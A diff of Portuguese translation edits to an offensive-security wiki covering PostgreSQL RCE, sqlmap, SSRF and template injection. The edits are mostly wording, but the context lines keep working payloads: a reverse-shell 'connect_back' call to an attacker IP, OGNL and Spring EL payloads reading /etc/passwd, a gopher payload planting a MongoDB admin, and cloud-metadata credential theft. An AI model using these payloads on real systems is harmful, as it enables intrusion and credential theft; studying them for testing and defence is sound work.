 #### Fluxo de ataque
 
@@ -272,7 +272,7 @@ Primeiro, você precisa **usar objetos grandes para fazer o upload do dll**. Voc
 big-binary-files-upload-postgresql.md
 {{#endref}}
 
-Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) para o diretório de dados, você pode carregá-la com:
+Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
 ```c
 create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
 select connect_back('192.168.100.54', 1234);

src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md

@@ -4,7 +4,7 @@
 
 ## Linguagens PostgreSQL
 
-O banco de dados PostgreSQL ao qual você teve acesso pode ter diferentes **linguagens de script instaladas** que você pode explorar para **executar código arbitrário**.
+O banco de dados PostgreSQL ao qual você teve acesso pode ter diferentes **linguagens de script instaladas** que você pode abusar para **executar código arbitrário**.
 
 Você pode **fazê-las funcionar**:
 ```sql
@@ -22,7 +22,7 @@ A maioria das linguagens de script que você pode instalar no PostgreSQL tem **2
 - ... (qualquer outra linguagem de programação usando uma versão insegura)
 
 > [!WARNING]
-> Se você descobrir que uma linguagem interessante está **instalada** mas **não confiável** pelo PostgreSQL (**`lanpltrusted`** é **`false`**) você pode tentar **confiá-la** com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:
+> Se você descobrir que uma linguagem interessante está **instalada** mas **não confiável** pelo PostgreSQL (**`lanpltrusted`** é **`false`**) você pode tentar **confiar nela** com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:
 >
 > ```sql
 > UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';

src/pentesting-web/sql-injection/sqlmap.md

@@ -127,7 +127,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | charunicodeencode.py         | Codifica em unicode-url caracteres não codificados em um payload dado \(não processando já codificados\). "%u0022"                |
 | charunicodeescape.py         | Codifica em unicode-url caracteres não codificados em um payload dado \(não processando já codificados\). "\u0022"                |
 | equaltolike.py               | Substitui todas as ocorrências do operador igual \('='\) pelo operador 'LIKE'                                                    |
-| escapequotes.py              | Escapa as aspas com barra \(' e "\)                                                                                              |
+| escapequotes.py              | Escapa as aspas com barra \(' e "\)                                                                                             |
 | greatest.py                  | Substitui o operador maior que \('>'\) pelo equivalente 'GREATEST'                                                           |
 | halfversionedmorekeywords.py | Adiciona um comentário MySQL versionado antes de cada palavra-chave                                                               |
 | ifnull2ifisnull.py           | Substitui instâncias como 'IFNULL\(A, B\)' por 'IF\(ISNULL\(A\), B, A\)'                                                       |
@@ -155,7 +155,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | unionalltounion.py           | Substitui UNION ALL SELECT por UNION SELECT                                                                                      |
 | unmagicquotes.py             | Substitui o caractere de aspas \('\) por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final \(para funcionar\) |
 | uppercase.py                 | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'                                                    |
-| varnish.py                   | Anexa um cabeçalho HTTP 'X-originating-IP'                                                                                        |
+| varnish.py                   | Anexa um cabeçalho HTTP 'X-originating-IP'                                                                                       |
 | versionedkeywords.py         | Envolve cada palavra-chave não funcional com um comentário MySQL versionado                                                       |
 | versionedmorekeywords.py     | Envolve cada palavra-chave com um comentário MySQL versionado                                                                     |
 | xforwardedfor.py             | Anexa um cabeçalho HTTP falso 'X-Forwarded-For'                                                                                  |

src/pentesting-web/sql-injection/sqlmap/README.md

@@ -81,7 +81,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
 ```
 ### Eval
 
-**Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com um oneliner em python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a **sessão de cookie flask** **é assinada pelo flask com o segredo conhecido antes de enviá-la**:
+**Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com um oneliner em python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de enviá-la**:
 ```bash
 sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
 ```
@@ -100,7 +100,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
 ```bash
 --file-read=/etc/passwd
 ```
-### Rastear um site com SQLmap e auto-explorar
+### Rastear um site com SQLmap e auto-exploração
 ```bash
 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
 
@@ -142,14 +142,14 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s
 | apostrophemask.py            | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8                                                    |
 | apostrophenullencode.py      | Substitui o caractere apóstrofo pelo seu equivalente ilegal de unicode duplo                                                      |
 | appendnullbyte.py            | Anexa um caractere NULL byte codificado no final do payload                                                                        |
-| base64encode.py              | Codifica em Base64 todos os caracteres em um payload dado                                                                          |
+| base64encode.py              | Codifica todos os caracteres em um payload dado em Base64                                                                          |
 | between.py                   | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #'                                                                    |
 | bluecoat.py                  | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE |
 | chardoubleencode.py          | Codifica duas vezes todos os caracteres em um payload dado (não processando já codificados)                                        |
 | commalesslimit.py            | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'                                                                     |
 | commalessmid.py              | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'                                                                |
 | concat2concatws.py           | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                              |
-| charencode.py                | Codifica em URL todos os caracteres em um payload dado (não processando já codificados)                                           |
+| charencode.py                | Codifica todos os caracteres em um payload dado (não processando já codificados)                                                  |
 | charunicodeencode.py         | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "%u0022"                  |
 | charunicodeescape.py         | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "\u0022"                  |
 | equaltolike.py               | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE'                                                       |
@@ -158,12 +158,12 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s
 | halfversionedmorekeywords.py | Adiciona um comentário MySQL versionado antes de cada palavra-chave                                                                |
 | ifnull2ifisnull.py           | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)'                                                                |
 | modsecurityversioned.py      | Envolve a consulta completa com um comentário versionado                                                                           |
-| modsecurityzeroversioned.py  | Envolve a consulta completa com um comentário de versão zero                                                                       |
+| modsecurityzeroversioned.py  | Envolve a consulta completa com um comentário de zero versão                                                                       |
 | multiplespaces.py            | Adiciona múltiplos espaços ao redor das palavras-chave SQL                                                                         |
 | nonrecursivereplacement.py   | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) filtros |
 | percentage.py                | Adiciona um sinal de porcentagem ('%') na frente de cada caractere                                                                 |
 | overlongutf8.py              | Converte todos os caracteres em um payload dado (não processando já codificados)                                                  |
-| randomcase.py                | Substitui cada caractere de palavra-chave por um valor de caso aleatório                                                           |
+| randomcase.py                | Substitui cada caractere de palavra-chave por um valor de caso aleatório                                                          |
 | randomcomments.py            | Adiciona comentários aleatórios às palavras-chave SQL                                                                              |
 | securesphere.py              | Anexa uma string especialmente elaborada                                                                                            |
 | sp_password.py               | Anexa 'sp_password' ao final do payload para ofuscação automática dos logs do DBMS                                                |
@@ -179,7 +179,7 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s
 | space2randomblank.py         | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos        |
 | symboliclogical.py           | Substitui operadores lógicos AND e OR por seus equivalentes simbólicos (&& e                                                     |
 | unionalltounion.py           | Substitui UNION ALL SELECT por UNION SELECT                                                                                        |
-| unmagicquotes.py             | Substitui o caractere de citação (') por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final (para funcionar) |
+| unmagicquotes.py             | Substitui o caractere de aspas (') por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final (para funcionar) |
 | uppercase.py                 | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'                                                    |
 | varnish.py                   | Anexa um cabeçalho HTTP 'X-originating-IP'                                                                                        |
 | versionedkeywords.py         | Envolve cada palavra-chave não funcional com um comentário MySQL versionado                                                        |

src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md

@@ -46,9 +46,9 @@ headers = kwargs.get("headers", {})
 login_account(payload)
 return payload
 ```
-Um **tamper do SQLMap é sempre executado antes de iniciar uma tentativa de injeção com um payload** **e ele deve retornar um payload**. Neste caso, não nos importamos com o payload, mas sim em enviar algumas requisições, então o payload não é alterado.
+Um **tamper do SQLMap é sempre executado antes de iniciar uma tentativa de injeção com um payload** **e ele deve retornar um payload**. Neste caso, não nos importamos com o payload, mas nos importamos em enviar algumas requisições, então o payload não é alterado.
 
-Assim, se por algum motivo precisarmos de um fluxo mais complexo para explorar a injeção SQL de segunda ordem, como:
+Portanto, se por algum motivo precisarmos de um fluxo mais complexo para explorar a injeção SQL de segunda ordem, como:
 
 - Criar uma conta com o payload SQLi dentro do campo "email"
 - Sair

src/pentesting-web/ssrf-server-side-request-forgery/README.md

@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-Uma **vulnerabilidade de Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** a um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
+Uma **vulnerabilidade de Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** para um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
 
 ## Capturar SSRF
 
@@ -38,7 +38,7 @@ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.
 - **file://**
 - O esquema de URL `file://` é referenciado, apontando diretamente para `/etc/passwd`: `file:///etc/passwd`
 - **dict://**
-- O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo dado ilustra uma URL construída direcionando a uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP que pode ser potencialmente mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
+- O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo dado ilustra uma URL construída visando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP sendo potencialmente mal utilizada para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
 - **SFTP://**
 - Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/`
 - **TFTP://**
@@ -46,7 +46,7 @@ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.
 - **LDAP://**
 - Este segmento cobre o Protocolo de Acesso a Diretórios Leve, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídas sobre redes IP. Interaja com um servidor LDAP no localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
 - **SMTP**
-- Um método é descrito para explorar vulnerabilidades SSRF para interagir com serviços SMTP no localhost, incluindo etapas para revelar nomes de domínios internos e outras ações investigativas baseadas nessa informação.
+- Um método é descrito para explorar vulnerabilidades SSRF para interagir com serviços SMTP no localhost, incluindo etapas para revelar nomes de domínios internos e ações investigativas adicionais com base nessa informação.
 ```
 From https://twitter.com/har1sec/status/1182255952055164929
 1. connect with SSRF on smtp localhost:25
@@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
 4. connect
 ```
 - **Curl URL globbing - Bypass de WAF**
-- Se o SSRF for executado pelo **curl**, o curl tem um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que pode ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) você pode encontrar este exemplo de **path traversal via `file` protocol**:
+- Se o SSRF for executado pelo **curl**, o curl tem um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que pode ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) você pode encontrar este exemplo de **traversal de caminho via protocolo `file`**:
 ```
 file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
 ```
@@ -104,13 +104,13 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
 %00%00administrator%00%00%00%00'
 ```
-## SSRF via Referrer header & Outros
+## SSRF via Referrer header & Others
 
-Software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que inadvertidamente expõe aplicações a vulnerabilidades de Server-Side Request Forgery (SSRF). Isso ocorre porque tal software pode visitar URLs externas mencionadas no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar superfícies potenciais de ataque SSRF.
+Software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que inadvertidamente expõe aplicações a vulnerabilidades de Server-Side Request Forgery (SSRF). Isso ocorre porque tal software pode visitar URLs externas mencionadas no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque SSRF.
 
-## SSRF via dados SNI do certificado
+## SSRF via SNI data from certificate
 
-Uma má configuração que poderia permitir a conexão a qualquer backend através de uma configuração simples é ilustrada com um exemplo de configuração Nginx:
+Uma má configuração que poderia permitir a conexão a qualquer backend através de uma configuração simples é ilustrada com um exemplo de configuração do Nginx:
 ```
 stream {
 server {
@@ -121,7 +121,7 @@ ssl_preread on;
 }
 }
 ```
-Nesta configuração, o valor do campo Server Name Indication (SNI) é utilizado diretamente como o endereço do backend. Essa configuração expõe uma vulnerabilidade a Server-Side Request Forgery (SSRF), que pode ser explorada apenas especificando o endereço IP ou nome de domínio desejado no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl` é dado abaixo:
+Nesta configuração, o valor do campo Server Name Indication (SNI) é utilizado diretamente como o endereço do backend. Essa configuração expõe uma vulnerabilidade a Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP ou nome de domínio desejado no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl` é dado abaixo:
 ```bash
 openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
 ```
@@ -278,7 +278,7 @@ Ataque:
 1. Peça ao usuário/bot **acessar** um **domínio** controlado pelo **atacante**
 2. O **TTL** do **DNS** é **0** seg (então a vítima verificará o IP do domínio novamente em breve)
 3. Uma **conexão TLS** é criada entre a vítima e o domínio do atacante. O atacante introduz a **carga útil dentro** do **ID de Sessão ou Ticket de Sessão**.
-4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
+4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **si mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
 5. Na solicitação DNS, um endereço **IP privado** é fornecido **agora** (127.0.0.1, por exemplo)
 6. O usuário/bot tentará **restabelecer a conexão TLS** e, para fazer isso, enviará o **ID de Sessão/Ticket ID** (onde a **carga útil** do atacante estava contida). Então, parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
 
@@ -337,7 +337,7 @@ _remote-method-guesser_ é um scanner de vulnerabilidades _Java RMI_ que suporta
 
 ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
 
-SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para tunelizar o tráfego HTTP do cliente através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
+SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
 
 ### Para praticar
 

src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

@@ -94,7 +94,7 @@ Note o **aws_session_token**, isso é indispensável para o perfil funcionar.
 
 ### SSRF em credenciais do AWS ECS (Container Service)
 
-**ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**.
+**ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, porque o ECS gerencia isso para você. Se você conseguir comprometer um serviço em execução no **ECS**, os **endpoints de metadados mudam**.
 
 Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID> você precisa ler a variável **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** dentro da máquina.\
 Você pode ser capaz de lê-la explorando um **Path Traversal** para `file:///proc/self/environ`\

src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md

@@ -145,7 +145,7 @@ next={domain}&next=attacker.com
 ```
 ### Bypass de Caminhos e Extensões
 
-Se você precisar que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses:
+Se for necessário que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses:
 ```
 https://metadata/vulerable/path#/expected/path
 https://metadata/vulerable/path#.extension
@@ -157,7 +157,7 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar va
 
 ### Listas de Palavras Personalizadas Automáticas
 
-Confira o [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger onde você pode introduzir o host permitido e o do atacante e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
+Confira o [**cheat sheet de bypass de validação de URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger, onde você pode introduzir o host permitido e o do atacante, e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
 
 {% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
 
@@ -190,7 +190,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
 
 ### Truque do Blackslash
 
-O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do padrão WHATWG de que o backslash (`\`) é equivalente ao forward slash (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do hostname para o caminho em uma URL.
+O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do backslash (`\`) pelo padrão WHATWG como equivalente ao barra (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do nome do host para o caminho em uma URL.
 
 ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
 

src/pentesting-web/ssti-server-side-template-injection/README.md

@@ -26,13 +26,13 @@ Para prevenir vulnerabilidades de injeção de template do lado do servidor, os
 Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem:
 
 - Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
-- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
+- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente dos dados regulares.
 - **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`).
 - **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário.
 
 #### Fase de Identificação
 
-Identificar o mecanismo de template envolve analisar mensagens de erro ou testar manualmente vários payloads específicos de linguagem. Payloads comuns que causam erros incluem `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de template específico.
+Identificar o mecanismo de template envolve analisar mensagens de erro ou testar manualmente vários payloads específicos de linguagem. Payloads comuns que causam erros incluem `${7/0}`, `{{7/0}}` e `<%= 7/0 %>`. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de template específico.
 
 #### Identificação por payloads
 
@@ -170,11 +170,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
 ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
 ```
 
-Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressões_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, um simples payload de teste SSTI pode parecer `[[${7*7}]]`.
+Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressões_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, uma carga útil simples de teste SSTI pode parecer `[[${7*7}]]`.
 
-No entanto, a probabilidade de esse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings em tempo real, o que é incomum.
+No entanto, a probabilidade de essa carga útil funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings em tempo real, o que é incomum.
 
-Thymeleaf também oferece _pré-processamento de expressões_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Este recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
+Thymeleaf também oferece _pré-processamento de expressões_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
 ```java
 #{selection.__${sel.code}__}
 ```
@@ -210,7 +210,7 @@ Múltiplas expressões de variável podem ser usadas, se `${...}` não funcionar
 ```java
 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
 ```
-- Script Personalizado para geração de payload
+- Script Personalizado para geração de payloads
 ```python
 #!/usr/bin/python3
 
@@ -376,7 +376,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
 Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
 
 - **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
-- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação.
+- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
 - **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
 
 Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**:
@@ -780,7 +780,7 @@ range.constructor(
 
 ### Python
 
-Confira a página a seguir para aprender truques sobre **execução de comandos arbitrários contornando sandboxes** em python:
+Confira a página a seguir para aprender truques sobre **execução arbitrária de comandos contornando sandboxes** em python:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/

src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

@@ -112,7 +112,7 @@ https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.Og
 #Blind detection vector (sleep during 10 seconds)
 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
 ```
-### Inclusão de Arquivo Remoto
+### Inclusão Remota de Arquivo
 ```bash
 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
 ```

src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

@@ -126,7 +126,7 @@ dict.__mro__[-1]
 ```
 ### RCE Escaping
 
-**Após recuperar** `<class 'object'>` e chamar `__subclasses__`, agora podemos usar essas classes para ler e escrever arquivos e executar código.
+**Após ter recuperado** `<class 'object'>` e chamado `__subclasses__`, agora podemos usar essas classes para ler e escrever arquivos e executar código.
 
 A chamada para `__subclasses__` nos deu a oportunidade de **acessar centenas de novas funções**, ficaremos felizes apenas em acessar a **classe de arquivo** para **ler/escrever arquivos** ou qualquer classe com acesso a uma classe que **permite executar comandos** (como `os`).
 
@@ -203,8 +203,8 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
 
 ```
 - [**Volte aqui para mais opções de acesso a um objeto global**](jinja2-ssti.md#accessing-global-objects)
-- [**Volte aqui para mais opções de acesso à classe do objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
-- [**Leia isso para obter RCE sem a classe do objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
+- [**Volte aqui para mais opções de acesso à classe de objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
+- [**Leia isso para obter RCE sem a classe de objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
 
 **Evitando a codificação HTML**
 
@@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
 ## Referências
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
-- Verifique [o truque de atributo para contornar caracteres na lista negra aqui](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
+- Verifique [o truque de attr para contornar caracteres na lista negra aqui](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
 - [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
